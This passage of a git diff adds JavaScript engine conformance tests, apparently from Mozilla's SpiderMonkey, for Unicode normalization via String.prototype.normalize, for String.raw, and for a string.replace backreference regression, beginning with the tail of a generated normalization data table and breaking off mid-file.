+{ source: [0xB974, 0x0334, 0x11B5], NFC: [0xB974, 0x0334, 0x11B5], NFD: [0x1105, 0x1173, 0x0334, 0x11B5], NFKC: [0xB974, 0x0334, 0x11B5], NFKD: [0x1105, 0x1173, 0x0334, 0x11B5] },
+{ source: [0xB9C8, 0x0334, 0x11BC], NFC: [0xB9C8, 0x0334, 0x11BC], NFD: [0x1106, 0x1161, 0x0334, 0x11BC], NFKC: [0xB9C8, 0x0334, 0x11BC], NFKD: [0x1106, 0x1161, 0x0334, 0x11BC] },
+{ source: [0xBA8C, 0x0334, 0x11AE], NFC: [0xBA8C, 0x0334, 0x11AE], NFD: [0x1106, 0x1168, 0x0334, 0x11AE], NFKC: [0xBA8C, 0x0334, 0x11AE], NFKD: [0x1106, 0x1168, 0x0334, 0x11AE] },
+{ source: [0xBAE0, 0x0334, 0x11B5], NFC: [0xBAE0, 0x0334, 0x11B5], NFD: [0x1106, 0x116B, 0x0334, 0x11B5], NFKC: [0xBAE0, 0x0334, 0x11B5], NFKD: [0x1106, 0x116B, 0x0334, 0x11B5] },
+{ source: [0xBB34, 0x0334, 0x11BC], NFC: [0xBB34, 0x0334, 0x11BC], NFD: [0x1106, 0x116E, 0x0334, 0x11BC], NFKC: [0xBB34, 0x0334, 0x11BC], NFKD: [0x1106, 0x116E, 0x0334, 0x11BC] },
+{ source: [0xBBF8, 0x0334, 0x11AE], NFC: [0xBBF8, 0x0334, 0x11AE], NFD: [0x1106, 0x1175, 0x0334, 0x11AE], NFKC: [0xBBF8, 0x0334, 0x11AE], NFKD: [0x1106, 0x1175, 0x0334, 0x11AE] },
+{ source: [0xBC4C, 0x0334, 0x11B5], NFC: [0xBC4C, 0x0334, 0x11B5], NFD: [0x1107, 0x1163, 0x0334, 0x11B5], NFKC: [0xBC4C, 0x0334, 0x11B5], NFKD: [0x1107, 0x1163, 0x0334, 0x11B5] },
+{ source: [0xBCA0, 0x0334, 0x11BC], NFC: [0xBCA0, 0x0334, 0x11BC], NFD: [0x1107, 0x1166, 0x0334, 0x11BC], NFKC: [0xBCA0, 0x0334, 0x11BC], NFKD: [0x1107, 0x1166, 0x0334, 0x11BC] },
+{ source: [0xBD64, 0x0334, 0x11AE], NFC: [0xBD64, 0x0334, 0x11AE], NFD: [0x1107, 0x116D, 0x0334, 0x11AE], NFKC: [0xBD64, 0x0334, 0x11AE], NFKD: [0x1107, 0x116D, 0x0334, 0x11AE] },
+{ source: [0xBDB8, 0x0334, 0x11B5], NFC: [0xBDB8, 0x0334, 0x11B5], NFD: [0x1107, 0x1170, 0x0334, 0x11B5], NFKC: [0xBDB8, 0x0334, 0x11B5], NFKD: [0x1107, 0x1170, 0x0334, 0x11B5] },
+{ source: [0xBE0C, 0x0334, 0x11BC], NFC: [0xBE0C, 0x0334, 0x11BC], NFD: [0x1107, 0x1173, 0x0334, 0x11BC], NFKC: [0xBE0C, 0x0334, 0x11BC], NFKD: [0x1107, 0x1173, 0x0334, 0x11BC] },
+{ source: [0xBED0, 0x0334, 0x11AE], NFC: [0xBED0, 0x0334, 0x11AE], NFD: [0x1108, 0x1165, 0x0334, 0x11AE], NFKC: [0xBED0, 0x0334, 0x11AE], NFKD: [0x1108, 0x1165, 0x0334, 0x11AE] },
+{ source: [0xBF24, 0x0334, 0x11B5], NFC: [0xBF24, 0x0334, 0x11B5], NFD: [0x1108, 0x1168, 0x0334, 0x11B5], NFKC: [0xBF24, 0x0334, 0x11B5], NFKD: [0x1108, 0x1168, 0x0334, 0x11B5] },
+{ source: [0xBF78, 0x0334, 0x11BC], NFC: [0xBF78, 0x0334, 0x11BC], NFD: [0x1108, 0x116B, 0x0334, 0x11BC], NFKC: [0xBF78, 0x0334, 0x11BC], NFKD: [0x1108, 0x116B, 0x0334, 0x11BC] },
+{ source: [0xC03C, 0x0334, 0x11AE], NFC: [0xC03C, 0x0334, 0x11AE], NFD: [0x1108, 0x1172, 0x0334, 0x11AE], NFKC: [0xC03C, 0x0334, 0x11AE], NFKD: [0x1108, 0x1172, 0x0334, 0x11AE] },
+{ source: [0xC090, 0x0334, 0x11B5], NFC: [0xC090, 0x0334, 0x11B5], NFD: [0x1108, 0x1175, 0x0334, 0x11B5], NFKC: [0xC090, 0x0334, 0x11B5], NFKD: [0x1108, 0x1175, 0x0334, 0x11B5] },
+{ source: [0xC0E4, 0x0334, 0x11BC], NFC: [0xC0E4, 0x0334, 0x11BC], NFD: [0x1109, 0x1163, 0x0334, 0x11BC], NFKC: [0xC0E4, 0x0334, 0x11BC], NFKD: [0x1109, 0x1163, 0x0334, 0x11BC] },
+{ source: [0xC1A8, 0x0334, 0x11AE], NFC: [0xC1A8, 0x0334, 0x11AE], NFD: [0x1109, 0x116A, 0x0334, 0x11AE], NFKC: [0xC1A8, 0x0334, 0x11AE], NFKD: [0x1109, 0x116A, 0x0334, 0x11AE] },
+{ source: [0xC1FC, 0x0334, 0x11B5], NFC: [0xC1FC, 0x0334, 0x11B5], NFD: [0x1109, 0x116D, 0x0334, 0x11B5], NFKC: [0xC1FC, 0x0334, 0x11B5], NFKD: [0x1109, 0x116D, 0x0334, 0x11B5] },
+{ source: [0xC250, 0x0334, 0x11BC], NFC: [0xC250, 0x0334, 0x11BC], NFD: [0x1109, 0x1170, 0x0334, 0x11BC], NFKC: [0xC250, 0x0334, 0x11BC], NFKD: [0x1109, 0x1170, 0x0334, 0x11BC] },
+{ source: [0xC314, 0x0334, 0x11AE], NFC: [0xC314, 0x0334, 0x11AE], NFD: [0x110A, 0x1162, 0x0334, 0x11AE], NFKC: [0xC314, 0x0334, 0x11AE], NFKD: [0x110A, 0x1162, 0x0334, 0x11AE] },
+{ source: [0xC368, 0x0334, 0x11B5], NFC: [0xC368, 0x0334, 0x11B5], NFD: [0x110A, 0x1165, 0x0334, 0x11B5], NFKC: [0xC368, 0x0334, 0x11B5], NFKD: [0x110A, 0x1165, 0x0334, 0x11B5] },
+{ source: [0xC3BC, 0x0334, 0x11BC], NFC: [0xC3BC, 0x0334, 0x11BC], NFD: [0x110A, 0x1168, 0x0334, 0x11BC], NFKC: [0xC3BC, 0x0334, 0x11BC], NFKD: [0x110A, 0x1168, 0x0334, 0x11BC] },
+{ source: [0xC480, 0x0334, 0x11AE], NFC: [0xC480, 0x0334, 0x11AE], NFD: [0x110A, 0x116F, 0x0334, 0x11AE], NFKC: [0xC480, 0x0334, 0x11AE], NFKD: [0x110A, 0x116F, 0x0334, 0x11AE] },
+{ source: [0xC4D4, 0x0334, 0x11B5], NFC: [0xC4D4, 0x0334, 0x11B5], NFD: [0x110A, 0x1172, 0x0334, 0x11B5], NFKC: [0xC4D4, 0x0334, 0x11B5], NFKD: [0x110A, 0x1172, 0x0334, 0x11B5] },
+{ source: [0xC528, 0x0334, 0x11BC], NFC: [0xC528, 0x0334, 0x11BC], NFD: [0x110A, 0x1175, 0x0334, 0x11BC], NFKC: [0xC528, 0x0334, 0x11BC], NFKD: [0x110A, 0x1175, 0x0334, 0x11BC] },
+{ source: [0xC5EC, 0x0334, 0x11AE], NFC: [0xC5EC, 0x0334, 0x11AE], NFD: [0x110B, 0x1167, 0x0334, 0x11AE], NFKC: [0xC5EC, 0x0334, 0x11AE], NFKD: [0x110B, 0x1167, 0x0334, 0x11AE] },
+{ source: [0xC640, 0x0334, 0x11B5], NFC: [0xC640, 0x0334, 0x11B5], NFD: [0x110B, 0x116A, 0x0334, 0x11B5], NFKC: [0xC640, 0x0334, 0x11B5], NFKD: [0x110B, 0x116A, 0x0334, 0x11B5] },
+{ source: [0xC694, 0x0334, 0x11BC], NFC: [0xC694, 0x0334, 0x11BC], NFD: [0x110B, 0x116D, 0x0334, 0x11BC], NFKC: [0xC694, 0x0334, 0x11BC], NFKD: [0x110B, 0x116D, 0x0334, 0x11BC] },
+{ source: [0xC758, 0x0334, 0x11AE], NFC: [0xC758, 0x0334, 0x11AE], NFD: [0x110B, 0x1174, 0x0334, 0x11AE], NFKC: [0xC758, 0x0334, 0x11AE], NFKD: [0x110B, 0x1174, 0x0334, 0x11AE] },
+{ source: [0xC7AC, 0x0334, 0x11B5], NFC: [0xC7AC, 0x0334, 0x11B5], NFD: [0x110C, 0x1162, 0x0334, 0x11B5], NFKC: [0xC7AC, 0x0334, 0x11B5], NFKD: [0x110C, 0x1162, 0x0334, 0x11B5] },
+{ source: [0xC800, 0x0334, 0x11BC], NFC: [0xC800, 0x0334, 0x11BC], NFD: [0x110C, 0x1165, 0x0334, 0x11BC], NFKC: [0xC800, 0x0334, 0x11BC], NFKD: [0x110C, 0x1165, 0x0334, 0x11BC] },
+{ source: [0xC8C4, 0x0334, 0x11AE], NFC: [0xC8C4, 0x0334, 0x11AE], NFD: [0x110C, 0x116C, 0x0334, 0x11AE], NFKC: [0xC8C4, 0x0334, 0x11AE], NFKD: [0x110C, 0x116C, 0x0334, 0x11AE] },
+{ source: [0xC918, 0x0334, 0x11B5], NFC: [0xC918, 0x0334, 0x11B5], NFD: [0x110C, 0x116F, 0x0334, 0x11B5], NFKC: [0xC918, 0x0334, 0x11B5], NFKD: [0x110C, 0x116F, 0x0334, 0x11B5] },
+{ source: [0xC96C, 0x0334, 0x11BC], NFC: [0xC96C, 0x0334, 0x11BC], NFD: [0x110C, 0x1172, 0x0334, 0x11BC], NFKC: [0xC96C, 0x0334, 0x11BC], NFKD: [0x110C, 0x1172, 0x0334, 0x11BC] },
+{ source: [0xCA30, 0x0334, 0x11AE], NFC: [0xCA30, 0x0334, 0x11AE], NFD: [0x110D, 0x1164, 0x0334, 0x11AE], NFKC: [0xCA30, 0x0334, 0x11AE], NFKD: [0x110D, 0x1164, 0x0334, 0x11AE] },
+{ source: [0xCA84, 0x0334, 0x11B5], NFC: [0xCA84, 0x0334, 0x11B5], NFD: [0x110D, 0x1167, 0x0334, 0x11B5], NFKC: [0xCA84, 0x0334, 0x11B5], NFKD: [0x110D, 0x1167, 0x0334, 0x11B5] },
+{ source: [0xCAD8, 0x0334, 0x11BC], NFC: [0xCAD8, 0x0334, 0x11BC], NFD: [0x110D, 0x116A, 0x0334, 0x11BC], NFKC: [0xCAD8, 0x0334, 0x11BC], NFKD: [0x110D, 0x116A, 0x0334, 0x11BC] },
+{ source: [0xCB9C, 0x0334, 0x11AE], NFC: [0xCB9C, 0x0334, 0x11AE], NFD: [0x110D, 0x1171, 0x0334, 0x11AE], NFKC: [0xCB9C, 0x0334, 0x11AE], NFKD: [0x110D, 0x1171, 0x0334, 0x11AE] },
+{ source: [0xCBF0, 0x0334, 0x11B5], NFC: [0xCBF0, 0x0334, 0x11B5], NFD: [0x110D, 0x1174, 0x0334, 0x11B5], NFKC: [0xCBF0, 0x0334, 0x11B5], NFKD: [0x110D, 0x1174, 0x0334, 0x11B5] },
+{ source: [0xCC44, 0x0334, 0x11BC], NFC: [0xCC44, 0x0334, 0x11BC], NFD: [0x110E, 0x1162, 0x0334, 0x11BC], NFKC: [0xCC44, 0x0334, 0x11BC], NFKD: [0x110E, 0x1162, 0x0334, 0x11BC] },
+{ source: [0xCD08, 0x0334, 0x11AE], NFC: [0xCD08, 0x0334, 0x11AE], NFD: [0x110E, 0x1169, 0x0334, 0x11AE], NFKC: [0xCD08, 0x0334, 0x11AE], NFKD: [0x110E, 0x1169, 0x0334, 0x11AE] },
+{ source: [0xCD5C, 0x0334, 0x11B5], NFC: [0xCD5C, 0x0334, 0x11B5], NFD: [0x110E, 0x116C, 0x0334, 0x11B5], NFKC: [0xCD5C, 0x0334, 0x11B5], NFKD: [0x110E, 0x116C, 0x0334, 0x11B5] },
+{ source: [0xCDB0, 0x0334, 0x11BC], NFC: [0xCDB0, 0x0334, 0x11BC], NFD: [0x110E, 0x116F, 0x0334, 0x11BC], NFKC: [0xCDB0, 0x0334, 0x11BC], NFKD: [0x110E, 0x116F, 0x0334, 0x11BC] },
+{ source: [0xCE74, 0x0334, 0x11AE], NFC: [0xCE74, 0x0334, 0x11AE], NFD: [0x110F, 0x1161, 0x0334, 0x11AE], NFKC: [0xCE74, 0x0334, 0x11AE], NFKD: [0x110F, 0x1161, 0x0334, 0x11AE] },
+{ source: [0xCEC8, 0x0334, 0x11B5], NFC: [0xCEC8, 0x0334, 0x11B5], NFD: [0x110F, 0x1164, 0x0334, 0x11B5], NFKC: [0xCEC8, 0x0334, 0x11B5], NFKD: [0x110F, 0x1164, 0x0334, 0x11B5] },
+{ source: [0xCF1C, 0x0334, 0x11BC], NFC: [0xCF1C, 0x0334, 0x11BC], NFD: [0x110F, 0x1167, 0x0334, 0x11BC], NFKC: [0xCF1C, 0x0334, 0x11BC], NFKD: [0x110F, 0x1167, 0x0334, 0x11BC] },
+{ source: [0xCFE0, 0x0334, 0x11AE], NFC: [0xCFE0, 0x0334, 0x11AE], NFD: [0x110F, 0x116E, 0x0334, 0x11AE], NFKC: [0xCFE0, 0x0334, 0x11AE], NFKD: [0x110F, 0x116E, 0x0334, 0x11AE] },
+{ source: [0xD034, 0x0334, 0x11B5], NFC: [0xD034, 0x0334, 0x11B5], NFD: [0x110F, 0x1171, 0x0334, 0x11B5], NFKC: [0xD034, 0x0334, 0x11B5], NFKD: [0x110F, 0x1171, 0x0334, 0x11B5] },
+{ source: [0xD088, 0x0334, 0x11BC], NFC: [0xD088, 0x0334, 0x11BC], NFD: [0x110F, 0x1174, 0x0334, 0x11BC], NFKC: [0xD088, 0x0334, 0x11BC], NFKD: [0x110F, 0x1174, 0x0334, 0x11BC] },
+{ source: [0xD14C, 0x0334, 0x11AE], NFC: [0xD14C, 0x0334, 0x11AE], NFD: [0x1110, 0x1166, 0x0334, 0x11AE], NFKC: [0xD14C, 0x0334, 0x11AE], NFKD: [0x1110, 0x1166, 0x0334, 0x11AE] },
+{ source: [0xD1A0, 0x0334, 0x11B5], NFC: [0xD1A0, 0x0334, 0x11B5], NFD: [0x1110, 0x1169, 0x0334, 0x11B5], NFKC: [0xD1A0, 0x0334, 0x11B5], NFKD: [0x1110, 0x1169, 0x0334, 0x11B5] },
+{ source: [0xD1F4, 0x0334, 0x11BC], NFC: [0xD1F4, 0x0334, 0x11BC], NFD: [0x1110, 0x116C, 0x0334, 0x11BC], NFKC: [0xD1F4, 0x0334, 0x11BC], NFKD: [0x1110, 0x116C, 0x0334, 0x11BC] },
+{ source: [0xD2B8, 0x0334, 0x11AE], NFC: [0xD2B8, 0x0334, 0x11AE], NFD: [0x1110, 0x1173, 0x0334, 0x11AE], NFKC: [0xD2B8, 0x0334, 0x11AE], NFKD: [0x1110, 0x1173, 0x0334, 0x11AE] },
+{ source: [0xD30C, 0x0334, 0x11B5], NFC: [0xD30C, 0x0334, 0x11B5], NFD: [0x1111, 0x1161, 0x0334, 0x11B5], NFKC: [0xD30C, 0x0334, 0x11B5], NFKD: [0x1111, 0x1161, 0x0334, 0x11B5] },
+{ source: [0xD360, 0x0334, 0x11BC], NFC: [0xD360, 0x0334, 0x11BC], NFD: [0x1111, 0x1164, 0x0334, 0x11BC], NFKC: [0xD360, 0x0334, 0x11BC], NFKD: [0x1111, 0x1164, 0x0334, 0x11BC] },
+{ source: [0xD424, 0x0334, 0x11AE], NFC: [0xD424, 0x0334, 0x11AE], NFD: [0x1111, 0x116B, 0x0334, 0x11AE], NFKC: [0xD424, 0x0334, 0x11AE], NFKD: [0x1111, 0x116B, 0x0334, 0x11AE] },
+{ source: [0xD478, 0x0334, 0x11B5], NFC: [0xD478, 0x0334, 0x11B5], NFD: [0x1111, 0x116E, 0x0334, 0x11B5], NFKC: [0xD478, 0x0334, 0x11B5], NFKD: [0x1111, 0x116E, 0x0334, 0x11B5] },
+{ source: [0xD4CC, 0x0334, 0x11BC], NFC: [0xD4CC, 0x0334, 0x11BC], NFD: [0x1111, 0x1171, 0x0334, 0x11BC], NFKC: [0xD4CC, 0x0334, 0x11BC], NFKD: [0x1111, 0x1171, 0x0334, 0x11BC] },
+{ source: [0xD590, 0x0334, 0x11AE], NFC: [0xD590, 0x0334, 0x11AE], NFD: [0x1112, 0x1163, 0x0334, 0x11AE], NFKC: [0xD590, 0x0334, 0x11AE], NFKD: [0x1112, 0x1163, 0x0334, 0x11AE] },
+{ source: [0xD5E4, 0x0334, 0x11B5], NFC: [0xD5E4, 0x0334, 0x11B5], NFD: [0x1112, 0x1166, 0x0334, 0x11B5], NFKC: [0xD5E4, 0x0334, 0x11B5], NFKD: [0x1112, 0x1166, 0x0334, 0x11B5] },
+{ source: [0xD638, 0x0334, 0x11BC], NFC: [0xD638, 0x0334, 0x11BC], NFD: [0x1112, 0x1169, 0x0334, 0x11BC], NFKC: [0xD638, 0x0334, 0x11BC], NFKD: [0x1112, 0x1169, 0x0334, 0x11BC] },
+{ source: [0xD6FC, 0x0334, 0x11AE], NFC: [0xD6FC, 0x0334, 0x11AE], NFD: [0x1112, 0x1170, 0x0334, 0x11AE], NFKC: [0xD6FC, 0x0334, 0x11AE], NFKD: [0x1112, 0x1170, 0x0334, 0x11AE] },
+{ source: [0xD750, 0x0334, 0x11B5], NFC: [0xD750, 0x0334, 0x11B5], NFD: [0x1112, 0x1173, 0x0334, 0x11B5], NFKC: [0xD750, 0x0334, 0x11B5], NFKD: [0x1112, 0x1173, 0x0334, 0x11B5] },
+{ source: [0x11131, 0x0334, 0x11127], NFC: [0x11131, 0x0334, 0x11127], NFD: [0x11131, 0x0334, 0x11127], NFKC: [0x11131, 0x0334, 0x11127], NFKD: [0x11131, 0x0334, 0x11127] },
+{ source: [0x11132, 0x0334, 0x11127], NFC: [0x11132, 0x0334, 0x11127], NFD: [0x11132, 0x0334, 0x11127], NFKC: [0x11132, 0x0334, 0x11127], NFKD: [0x11132, 0x0334, 0x11127] },
+{ source: [0x11347, 0x0334, 0x1133E], NFC: [0x11347, 0x0334, 0x1133E], NFD: [0x11347, 0x0334, 0x1133E], NFKC: [0x11347, 0x0334, 0x1133E], NFKD: [0x11347, 0x0334, 0x1133E] },
+{ source: [0x11347, 0x0334, 0x11357], NFC: [0x11347, 0x0334, 0x11357], NFD: [0x11347, 0x0334, 0x11357], NFKC: [0x11347, 0x0334, 0x11357], NFKD: [0x11347, 0x0334, 0x11357] },
+{ source: [0x114B9, 0x0334, 0x114B0], NFC: [0x114B9, 0x0334, 0x114B0], NFD: [0x114B9, 0x0334, 0x114B0], NFKC: [0x114B9, 0x0334, 0x114B0], NFKD: [0x114B9, 0x0334, 0x114B0] },
+{ source: [0x114B9, 0x0334, 0x114BA], NFC: [0x114B9, 0x0334, 0x114BA], NFD: [0x114B9, 0x0334, 0x114BA], NFKC: [0x114B9, 0x0334, 0x114BA], NFKD: [0x114B9, 0x0334, 0x114BA] },
+{ source: [0x114B9, 0x0334, 0x114BD], NFC: [0x114B9, 0x0334, 0x114BD], NFD: [0x114B9, 0x0334, 0x114BD], NFKC: [0x114B9, 0x0334, 0x114BD], NFKD: [0x114B9, 0x0334, 0x114BD] },
+{ source: [0x115B8, 0x0334, 0x115AF], NFC: [0x115B8, 0x0334, 0x115AF], NFD: [0x115B8, 0x0334, 0x115AF], NFKC: [0x115B8, 0x0334, 0x115AF], NFKD: [0x115B8, 0x0334, 0x115AF] },
+{ source: [0x115B9, 0x0334, 0x115AF], NFC: [0x115B9, 0x0334, 0x115AF], NFD: [0x115B9, 0x0334, 0x115AF], NFKC: [0x115B9, 0x0334, 0x115AF], NFKD: [0x115B9, 0x0334, 0x115AF] },
+{ source: [0x11935, 0x0334, 0x11930], NFC: [0x11935, 0x0334, 0x11930], NFD: [0x11935, 0x0334, 0x11930], NFKC: [0x11935, 0x0334, 0x11930], NFKD: [0x11935, 0x0334, 0x11930] }
+];
diff --git a/js/src/tests/non262/String/normalize-generateddata-part0.js b/js/src/tests/non262/String/normalize-generateddata-part0.js
new file mode 100644
index 0000000000..ffcb34731d
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part0.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part0';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test0 of tests_part0) {
+ runNormalizeTest(test0);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js b/js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js
new file mode 100644
index 0000000000..1c3cb5085e
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js
@@ -0,0 +1,38 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - not listed in part1';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ var part1 = new Set();
+ for (var test1 of tests_part1) {
+ part1.add(test1.source[0]);
+ }
+
+ /* not listed in Part 1 */
+ for (var x = 0; x <= 0x2FFFF; x++) {
+ if (part1.has(x)) {
+ continue;
+ }
+ var xstr = x.toString(16);
+ var c = String.fromCodePoint(x);
+ assertEq(c.normalize(), c, "NFC of " + xstr);
+ assertEq(c.normalize(undefined), c, "NFC of " + xstr);
+ assertEq(c.normalize("NFC"), c, "NFC of " + xstr);
+ assertEq(c.normalize("NFD"), c, "NFD of " + xstr);
+ assertEq(c.normalize("NFKC"), c, "NFKC of " + xstr);
+ assertEq(c.normalize("NFKD"), c, "NFKD of " + xstr);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part1.js b/js/src/tests/non262/String/normalize-generateddata-part1.js
new file mode 100644
index 0000000000..c4edeab9d8
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part1.js
@@ -0,0 +1,22 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part1';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test1 of tests_part1) {
+ runNormalizeTest(test1);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part2.js b/js/src/tests/non262/String/normalize-generateddata-part2.js
new file mode 100644
index 0000000000..1b7f3b465a
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part2.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part2';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test2 of tests_part2) {
+ runNormalizeTest(test2);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part3.js b/js/src/tests/non262/String/normalize-generateddata-part3.js
new file mode 100644
index 0000000000..8a384c635e
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part3.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part3';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test3 of tests_part3) {
+ runNormalizeTest(test3);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generic.js b/js/src/tests/non262/String/normalize-generic.js
new file mode 100644
index 0000000000..c1c3882cc2
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generic.js
@@ -0,0 +1,20 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - normalize no String object';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ var myobj = {
+ toString: () => "a\u0301",
+ normalize: String.prototype.normalize
+ };
+ assertEq(myobj.normalize(), "\u00E1");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-parameter.js b/js/src/tests/non262/String/normalize-parameter.js
new file mode 100644
index 0000000000..4831c27176
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-parameter.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - passing wrong parameter';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ assertThrowsInstanceOf(() => "abc".normalize("NFE"), RangeError,
+ "String.prototype.normalize should raise RangeError on invalid form");
+
+ assertEq("".normalize(), "");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-rope.js b/js/src/tests/non262/String/normalize-rope.js
new file mode 100644
index 0000000000..b5b8800fa4
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-rope.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - normalize rope string';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ /* JSRope test */
+ var a = "";
+ var b = "";
+ for (var i = 0; i < 100; i++) {
+ a += "\u0100";
+ b += "\u0041\u0304";
+ }
+ assertEq(a.normalize("NFD"), b);
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/raw.js b/js/src/tests/non262/String/raw.js
new file mode 100644
index 0000000000..1472185af2
--- /dev/null
+++ b/js/src/tests/non262/String/raw.js
@@ -0,0 +1,55 @@
+var BUGNUMBER = 1039774;
+var summary = 'String.raw';
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(function() { String.raw(); }, TypeError);
+
+assertEq(String.raw.length, 1);
+
+var cooked = [];
+assertThrowsInstanceOf(function() { String.raw(cooked); }, TypeError);
+
+cooked.raw = {};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {lengt: 0};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {length: 0};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {length: -1};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = [];
+assertEq(String.raw(cooked), "");
+
+cooked.raw = ["a"];
+assertEq(String.raw(cooked), "a");
+
+cooked.raw = ["a", "b"];
+assertEq(String.raw(cooked, "x"), "axb");
+
+cooked.raw = ["a", "b"];
+assertEq(String.raw(cooked, "x", "y"), "axb");
+
+cooked.raw = ["a", "b", "c"];
+assertEq(String.raw(cooked, "x"), "axbc");
+
+cooked.raw = ["a", "b", "c"];
+assertEq(String.raw(cooked, "x", "y"), "axbyc");
+
+cooked.raw = ["\n", "\r\n", "\r"];
+assertEq(String.raw(cooked, "x", "y"), "\nx\r\ny\r");
+
+cooked.raw = ["\n", "\r\n", "\r"];
+assertEq(String.raw(cooked, "\r\r", "\n"), "\n\r\r\r\n\n\r");
+
+cooked.raw = {length: 2, '0':"a", '1':"b", '2':"c"};
+assertEq(String.raw(cooked, "x", "y"), "axb");
+
+cooked.raw = {length: 4, '0':"a", '1':"b", '2':"c"};
+assertEq(String.raw(cooked, "x", "y"), "axbycundefined");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/regress-104375.js b/js/src/tests/non262/String/regress-104375.js
new file mode 100644
index 0000000000..ddbb0265a7
--- /dev/null
+++ b/js/src/tests/non262/String/regress-104375.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 12 October 2001
+ *
+ * SUMMARY: Regression test for string.replace bug 104375
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104375
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104375;
+var summary = 'Testing string.replace() with backreferences';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Use the regexp to replace 'uid=31' with 'uid=15'
+ *
+ * In the second parameter of string.replace() method,
+ * "$1" refers to the first backreference: 'uid='
+ */
+var str = 'uid=31';
+var re = /(uid=)(\d+)/;
+
+// try the numeric literal 15
+status = inSection(1);
+actual = str.replace (re, "$1" + 15);
+expect = 'uid=15';
+addThis();
+
+// try the string literal '15'
+status = inSection(2);
+actual = str.replace (re, "$1" + '15');
+expect = 'uid=15';
+addThis();
+
+// try a letter before the '15'
+status = inSection(3);
+actual = str.replace (re, "$1" + 'A15');
+expect = 'uid=A15';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
